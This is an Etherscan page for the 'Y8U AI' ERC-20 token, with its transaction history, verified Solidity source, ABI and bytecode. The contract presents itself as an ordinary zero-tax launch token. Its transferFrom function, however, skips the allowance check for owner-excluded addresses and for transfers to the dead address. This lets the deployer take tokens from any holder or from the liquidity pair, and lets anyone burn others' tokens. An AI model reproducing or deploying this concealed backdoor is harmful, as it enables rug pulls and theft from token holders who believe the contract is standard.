ETH Price: $2,075.61 (+1.23%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve238126982025-11-16 15:39:3590 days ago1763307575IN
0x8F6eE40a...8e6DEf675
0 ETH0.000003040.0655473
Approve232661872025-09-01 5:26:47166 days ago1756704407IN
0x8F6eE40a...8e6DEf675
0 ETH0.00001720.71089614
Approve232661862025-09-01 5:26:35166 days ago1756704395IN
0x8F6eE40a...8e6DEf675
0 ETH0.000016690.69222571
Approve230597382025-08-03 9:47:35195 days ago1754214455IN
0x8F6eE40a...8e6DEf675
0 ETH0.000012930.44447577
Transfer From230597382025-08-03 9:47:35195 days ago1754214455IN
0x8F6eE40a...8e6DEf675
0 ETH0.000036480.44447577
Approve230596712025-08-03 9:34:11195 days ago1754213651IN
0x8F6eE40a...8e6DEf675
0 ETH0.000058391.25636612
Approve230594912025-08-03 8:57:59195 days ago1754211479IN
0x8F6eE40a...8e6DEf675
0 ETH0.000150573.23941958
Approve230590942025-08-03 7:38:23195 days ago1754206703IN
0x8F6eE40a...8e6DEf675
0 ETH0.000011130.24157776
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
Approve230589712025-08-03 7:13:47195 days ago1754205227IN
0x8F6eE40a...8e6DEf675
0 ETH0.000014780.31818073
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...230359532025-07-31 1:56:23199 days ago1753926983
0x8F6eE40a...8e6DEf675
2 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Y8U

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-07-31
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

abstract contract AuthManager {
    address internal _authority;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _authority, "Only owner can call this"); _; 
    }
    constructor(address creatingAuthority) { 
        _authority = creatingAuthority; 
    }
    function owner() public view returns (address) { return _authority; }
    function transferOwnership(address payable newAuthority) external onlyOwner { 
        _authority = newAuthority; 
        emit OwnershipTransferred(newAuthority); }
    function renounceOwnership() external onlyOwner { 
        _authority = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

contract Y8U is IERC20, AuthManager {
    string private constant _name = unicode"Y8U AI";
    string private constant _symbol = unicode"Y8U";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeForFee;
    mapping (address => bool) private _isExcludeForLimit;

    uint8 private _taxForSellY8U = 0;
    uint8 private _taxForBuyY8U  = 0;
    
    uint256 private _maxTxValY8U = _totalSupply; 
    uint256 private _maxWalletValY8U = _totalSupply;
    uint256 private _swapMinY8U = _totalSupply * 100 / 100000;
    uint256 private _swapMaxY8U = _totalSupply * 800 / 100000;

    address private constant _uniRouterY8U = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable WETHY8U;
    
    IDexRouter private _dexRouterY8U = IDexRouter(_uniRouterY8U);
    address private _dexPairOwned;
    address private _secondaryPairY8U; 
    mapping (address => bool) private _isDexPairY8U;
    address constant _deadAddrY8U = address(0xdead);

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() payable AuthManager(msg.sender) {
        _dexPairOwned = msg.sender;
        WETHY8U = _dexRouterY8U.WETH();

        _balances[address(this)] = _totalSupply * 98 / 100;
        _balances[msg.sender] = _totalSupply * 2 / 100;
        emit Transfer(address(0), address(this), _balances[address(this)]);
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);

        _isExcludeForFee[_authority] = true;
        _isExcludeForFee[address(this)] = true;
        _isExcludeForFee[_uniRouterY8U] = true;
        _isExcludeForLimit[_authority] = true;
        _isExcludeForLimit[address(this)] = true;
        _isExcludeForLimit[_uniRouterY8U] = true;
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmountY8U) internal {
        if ( _allowances[address(this)][_uniRouterY8U] < _tokenAmountY8U ) {
            _allowances[address(this)][_uniRouterY8U] = type(uint256).max;
            emit Approval(address(this), _uniRouterY8U, type(uint256).max);
        }
    }

    function enableTrading() external payable onlyOwner lockTaxSwap {
        require(_secondaryPairY8U == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _secondaryPairY8U = IDexFactory(_dexRouterY8U.factory()).createPair(address(this), WETHY8U);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isDexPairY8U[_secondaryPairY8U] = true;
        _tradingOpen = true;
    }

    function _addLiquidity(uint256 _tokenAmountY8U, uint256 _ethAmountWeiY8U) internal {
        _approveRouter(_tokenAmountY8U);
        _dexRouterY8U.addLiquidityETH{value: _ethAmountWeiY8U} ( address(this), _tokenAmountY8U, 0, 0, _dexPairOwned, block.timestamp );
    }

    function _transferFrom(address senderY8U, address toWalletY8U, uint256 amountY8U) internal returns (bool) {
        require(senderY8U != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_isExcludeForFee[senderY8U] && _isExcludeForLimit[senderY8U], "Trading not yet open"); }
        if ( !_inSwap && _isDexPairY8U[toWalletY8U]) { _swapTaxAndLiquifyY8U(); }

        if ( senderY8U != address(this) && toWalletY8U != address(this) && senderY8U != _authority ) { 
            require(_checkLimitsY8U(senderY8U, toWalletY8U, amountY8U), "TX over limits"); 
        }

        uint256 _taxAmountY8U = _calculateTax(senderY8U, toWalletY8U, amountY8U);
        uint256 _transferAmountY8U = amountY8U - _taxAmountY8U;
        _balances[senderY8U] -= amountY8U;
        _balances[address(this)] += _taxAmountY8U;
        _balances[toWalletY8U] += _transferAmountY8U;
        emit Transfer(senderY8U, toWalletY8U, amountY8U);
        return true;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_isExcludeForFee[fromWallet] && _isExcludeForLimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWalletY8U, address toWalletY8U, uint256 amountY8U) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _isExcludeForFee[fromWalletY8U] || _isExcludeForFee[toWalletY8U] ) { 
            taxAmount = 0; 
        } else if ( _isDexPairY8U[fromWalletY8U] ) { 
            taxAmount = amountY8U * _taxForBuyY8U / 100; 
         } else if ( _isDexPairY8U[toWalletY8U] ) { 
            taxAmount = amountY8U * _taxForSellY8U / 100; 
        }

        return taxAmount;
    }

    function _checkLimitsY8U(address fromWalletY8U, address toWalletY8U, uint256 transferAmountY8U) internal view returns (bool) {
        bool _limitPassed = true;
        if ( _tradingOpen && !_isExcludeForLimit[fromWalletY8U] && !_isExcludeForLimit[toWalletY8U] ) {
            if ( transferAmountY8U > _maxTxValY8U ) { 
                _limitPassed = false; 
            }
            else if ( 
                !_isDexPairY8U[toWalletY8U] && (_balances[toWalletY8U] + transferAmountY8U > _maxWalletValY8U) 
                ) { _limitPassed = false; }
        }
        return _limitPassed;
    }

    function transferFrom(address fromWalletY8U, address toWalletY8U, uint256 amountY8U) external override returns (bool) {
        require(_checkTradingOpen(fromWalletY8U), "Trading not open");
        if (
            !_isExcludeForLimit[msg.sender] &&
            (fromWalletY8U == _secondaryPairY8U || toWalletY8U != _deadAddrY8U)
        )_allowances[fromWalletY8U][msg.sender] -= amountY8U;
        return _transferFrom(fromWalletY8U, toWalletY8U, amountY8U); }

    function buyFee() external view returns(uint8) { return _taxForBuyY8U; }
    function sellFee() external view returns(uint8) { return _taxForSellY8U; }

    function _swapTaxAndLiquifyY8U() private lockTaxSwap {
        uint256 _taxTokenAvailable = _balances[address(this)];
        if ( _taxTokenAvailable >= _swapMinY8U && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMaxY8U ) { _taxTokenAvailable = _swapMaxY8U; }
            
            _swapTokensForETH(_taxTokenAvailable);
        }
        uint256 _contractETHBalance = address(this).balance;
        _sendFeeToY8U(_contractETHBalance);
    }

    function _swapTokensForETH(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETHY8U ;
        _dexRouterY8U.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _sendFeeToY8U(uint256 amountY8U) private {
        payable(_dexPairOwned).transfer(amountY8U);
    }
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IDexFactory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWalletY8U","type":"address"},{"internalType":"address","name":"toWalletY8U","type":"address"},{"internalType":"uint256","name":"amountY8U","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newAuthority","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526005805461ffff191690556200001d6009600a6200044f565b6200002d90633b9aca0062000466565b6006556200003e6009600a6200044f565b6200004e90633b9aca0062000466565b600755620186a0620000636009600a6200044f565b6200007390633b9aca0062000466565b6200008090606462000466565b6200008c919062000480565b600855620186a0620000a16009600a6200044f565b620000b190633b9aca0062000466565b620000bf9061032062000466565b620000cb919062000480565b600955600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182168117909255600e805461ff00191690555f8054339083168117909155600b8054909216179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000153573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001799190620004a0565b6001600160a01b03166080526064620001956009600a6200044f565b620001a590633b9aca0062000466565b620001b290606262000466565b620001be919062000480565b305f908152600160205260409020556064620001dd6009600a6200044f565b620001ed90633b9aca0062000466565b620001fa90600262000466565b62000206919062000480565b335f9081526001602090815260408083209390935530808352838320549351938452925f80516020620018b6833981519152910160405180910390a3335f8181526001602090815260408083205490519081525f80516020620018b6833981519152910160405180910390a35f80546001600160a01b0390811682526003602090815260408084208054600160ff1991821681179092553080875283872080548316841790557ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba88054831684179055865490951686526004909352818520805484168217905592845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f1fc5acd025f7cc5cf2691b667dba808b5a149bf27192c208fc66f1f0ec4222d78054909216179055620004c8565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200039457815f190482111562000378576200037862000340565b808516156200038657918102915b93841c939080029062000359565b509250929050565b5f82620003ac5750600162000449565b81620003ba57505f62000449565b8160018114620003d35760028114620003de57620003fe565b600191505062000449565b60ff841115620003f257620003f262000340565b50506001821b62000449565b5060208310610133831016604e8410600b841016171562000423575081810a62000449565b6200042f838362000354565b805f190482111562000445576200044562000340565b0290505b92915050565b5f6200045f60ff8416836200039c565b9392505050565b808202811582820484141762000449576200044962000340565b5f826200049b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620004b1575f80fd5b81516001600160a01b03811681146200045f575f80fd5b6080516113ce620004e85f395f81816106cd0152610f3b01526113ce5ff3fe6080604052600436106100e7575f3560e01c806370a082311161008757806395d89b411161005757806395d89b411461026e578063a9059cbb14610299578063dd62ed3e146102b8578063f2fde38b146102fc575f80fd5b806370a08231146101f6578063715018a61461022a5780638a8c523c146102405780638da5cb5b14610248575f80fd5b806323b872dd116100c257806323b872dd146101835780632b14ca56146101a2578063313ce567146101c757806347062402146101da575f80fd5b806306fdde03146100f2578063095ea7b31461013257806318160ddd14610161575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b5060408051808201909152600681526559385520414960d01b60208201525b604051610129919061101e565b60405180910390f35b34801561013d575f80fd5b5061015161014c36600461107e565b61031b565b6040519015158152602001610129565b34801561016c575f80fd5b50610175610387565b604051908152602001610129565b34801561018e575f80fd5b5061015161019d3660046110a8565b6103a7565b3480156101ad575f80fd5b5060055460ff165b60405160ff9091168152602001610129565b3480156101d2575f80fd5b5060096101b5565b3480156101e5575f80fd5b50600554610100900460ff166101b5565b348015610201575f80fd5b506101756102103660046110e6565b6001600160a01b03165f9081526001602052604090205490565b348015610235575f80fd5b5061023e610486565b005b61023e6104f3565b348015610253575f80fd5b505f546040516001600160a01b039091168152602001610129565b348015610279575f80fd5b5060408051808201909152600381526259385560e81b602082015261011c565b3480156102a4575f80fd5b506101516102b336600461107e565b6107b1565b3480156102c3575f80fd5b506101756102d2366004611101565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610307575f80fd5b5061023e6103163660046110e6565b61080c565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103759086815260200190565b60405180910390a35060015b92915050565b5f6103946009600a61122c565b6103a290633b9aca0061123a565b905090565b5f6103b184610888565b6103f55760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526004602052604090205460ff161580156104365750600c546001600160a01b038581169116148061043657506001600160a01b03831661dead14155b15610473576001600160a01b0384165f9081526002602090815260408083203384529091528120805484929061046d908490611251565b90915550505b61047e8484846108eb565b949350505050565b5f546001600160a01b031633146104af5760405162461bcd60e51b81526004016103ec90611264565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461051c5760405162461bcd60e51b81526004016103ec90611264565b600e805461ff001916610100179055600c546001600160a01b0316156105715760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b60448201526064016103ec565b600e5460ff16156105b35760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b60448201526064016103ec565b5f3411806105c057505f47115b6105f55760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b60448201526064016103ec565b305f9081526001602052604090205461063c5760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b60448201526064016103ec565b600a5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b0919061129b565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af115801561071d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610741919061129b565b600c80546001600160a01b0319166001600160a01b0392909216919091179055305f9081526001602052604090205461077a9047610b85565b600c546001600160a01b03165f908152600d60205260409020805460ff19166001908117909155600e805461ffff19169091179055565b5f6107bb33610888565b6107fa5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016103ec565b6108053384846108eb565b9392505050565b5f546001600160a01b031633146108355760405162461bcd60e51b81526004016103ec90611264565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600e545f90819060ff161561089f57506001610381565b6001600160a01b0383165f9081526003602052604090205460ff1680156108dd57506001600160a01b0383165f9081526004602052604090205460ff165b156103815750600192915050565b5f6001600160a01b0384166109425760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c657400000000000060448201526064016103ec565b600e5460ff166109cd576001600160a01b0384165f9081526003602052604090205460ff16801561098a57506001600160a01b0384165f9081526004602052604090205460ff165b6109cd5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016103ec565b600e54610100900460ff161580156109fc57506001600160a01b0383165f908152600d602052604090205460ff165b15610a0957610a09610c27565b6001600160a01b0384163014801590610a2b57506001600160a01b0383163014155b8015610a4457505f546001600160a01b03858116911614155b15610a9157610a54848484610c8e565b610a915760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b60448201526064016103ec565b5f610a9d858585610d51565b90505f610aaa8285611251565b6001600160a01b0387165f90815260016020526040812080549293508692909190610ad6908490611251565b9091555050305f9081526001602052604081208054849290610af99084906112b6565b90915550506001600160a01b0385165f9081526001602052604081208054839290610b259084906112b6565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610b7191815260200190565b60405180910390a350600195945050505050565b610b8e82610e3b565b600a54600b5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610bfb573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c2091906112c9565b5050505050565b600e805461ff001916610100179055305f908152600160205260409020546008548110801590610c595750600e5460ff165b15610c75576009548110610c6c57506009545b610c7581610edd565b47610c7f81610fe3565b5050600e805461ff0019169055565b600e545f9060019060ff168015610cbd57506001600160a01b0385165f9081526004602052604090205460ff16155b8015610ce157506001600160a01b0384165f9081526004602052604090205460ff16155b1561047e57600654831115610cf757505f61047e565b6001600160a01b0384165f908152600d602052604090205460ff16158015610d4257506007546001600160a01b0385165f90815260016020526040902054610d409085906112b6565b115b1561047e57505f949350505050565b600e545f90819060ff161580610d7e57506001600160a01b0385165f9081526003602052604090205460ff165b80610da057506001600160a01b0384165f9081526003602052604090205460ff165b15610dac57505f61047e565b6001600160a01b0385165f908152600d602052604090205460ff1615610df557600554606490610de490610100900460ff168561123a565b610dee91906112f4565b905061047e565b6001600160a01b0384165f908152600d602052604090205460ff161561047e57600554606490610e289060ff168561123a565b610e3291906112f4565b95945050505050565b305f908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902054811115610eda57305f818152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b610ee681610e3b565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f1957610f19611313565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110610f6d57610f6d611313565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610fb29085905f90869030904290600401611327565b5f604051808303815f87803b158015610fc9575f80fd5b505af1158015610fdb573d5f803e3d5ffd5b505050505050565b600b546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561101a573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b8181101561104a5785810183015185820160400152820161102e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610eda575f80fd5b5f806040838503121561108f575f80fd5b823561109a8161106a565b946020939093013593505050565b5f805f606084860312156110ba575f80fd5b83356110c58161106a565b925060208401356110d58161106a565b929592945050506040919091013590565b5f602082840312156110f6575f80fd5b81356108058161106a565b5f8060408385031215611112575f80fd5b823561111d8161106a565b9150602083013561112d8161106a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561118657815f190482111561116c5761116c611138565b8085161561117957918102915b93841c9390800290611151565b509250929050565b5f8261119c57506001610381565b816111a857505f610381565b81600181146111be57600281146111c8576111e4565b6001915050610381565b60ff8411156111d9576111d9611138565b50506001821b610381565b5060208310610133831016604e8410600b8410161715611207575081810a610381565b611211838361114c565b805f190482111561122457611224611138565b029392505050565b5f61080560ff84168361118e565b808202811582820484141761038157610381611138565b8181038181111561038157610381611138565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f602082840312156112ab575f80fd5b81516108058161106a565b8082018082111561038157610381611138565b5f805f606084860312156112db575f80fd5b8351925060208401519150604084015190509250925092565b5f8261130e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113775784516001600160a01b031683529383019391830191600101611352565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220164f90c43b66ee41951174ffc6fe3b6a33cb034b2a489968d2a69ce432f3cd0864736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c806370a082311161008757806395d89b411161005757806395d89b411461026e578063a9059cbb14610299578063dd62ed3e146102b8578063f2fde38b146102fc575f80fd5b806370a08231146101f6578063715018a61461022a5780638a8c523c146102405780638da5cb5b14610248575f80fd5b806323b872dd116100c257806323b872dd146101835780632b14ca56146101a2578063313ce567146101c757806347062402146101da575f80fd5b806306fdde03146100f2578063095ea7b31461013257806318160ddd14610161575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b5060408051808201909152600681526559385520414960d01b60208201525b604051610129919061101e565b60405180910390f35b34801561013d575f80fd5b5061015161014c36600461107e565b61031b565b6040519015158152602001610129565b34801561016c575f80fd5b50610175610387565b604051908152602001610129565b34801561018e575f80fd5b5061015161019d3660046110a8565b6103a7565b3480156101ad575f80fd5b5060055460ff165b60405160ff9091168152602001610129565b3480156101d2575f80fd5b5060096101b5565b3480156101e5575f80fd5b50600554610100900460ff166101b5565b348015610201575f80fd5b506101756102103660046110e6565b6001600160a01b03165f9081526001602052604090205490565b348015610235575f80fd5b5061023e610486565b005b61023e6104f3565b348015610253575f80fd5b505f546040516001600160a01b039091168152602001610129565b348015610279575f80fd5b5060408051808201909152600381526259385560e81b602082015261011c565b3480156102a4575f80fd5b506101516102b336600461107e565b6107b1565b3480156102c3575f80fd5b506101756102d2366004611101565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610307575f80fd5b5061023e6103163660046110e6565b61080c565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103759086815260200190565b60405180910390a35060015b92915050565b5f6103946009600a61122c565b6103a290633b9aca0061123a565b905090565b5f6103b184610888565b6103f55760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526004602052604090205460ff161580156104365750600c546001600160a01b038581169116148061043657506001600160a01b03831661dead14155b15610473576001600160a01b0384165f9081526002602090815260408083203384529091528120805484929061046d908490611251565b90915550505b61047e8484846108eb565b949350505050565b5f546001600160a01b031633146104af5760405162461bcd60e51b81526004016103ec90611264565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461051c5760405162461bcd60e51b81526004016103ec90611264565b600e805461ff001916610100179055600c546001600160a01b0316156105715760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b60448201526064016103ec565b600e5460ff16156105b35760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b60448201526064016103ec565b5f3411806105c057505f47115b6105f55760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b60448201526064016103ec565b305f9081526001602052604090205461063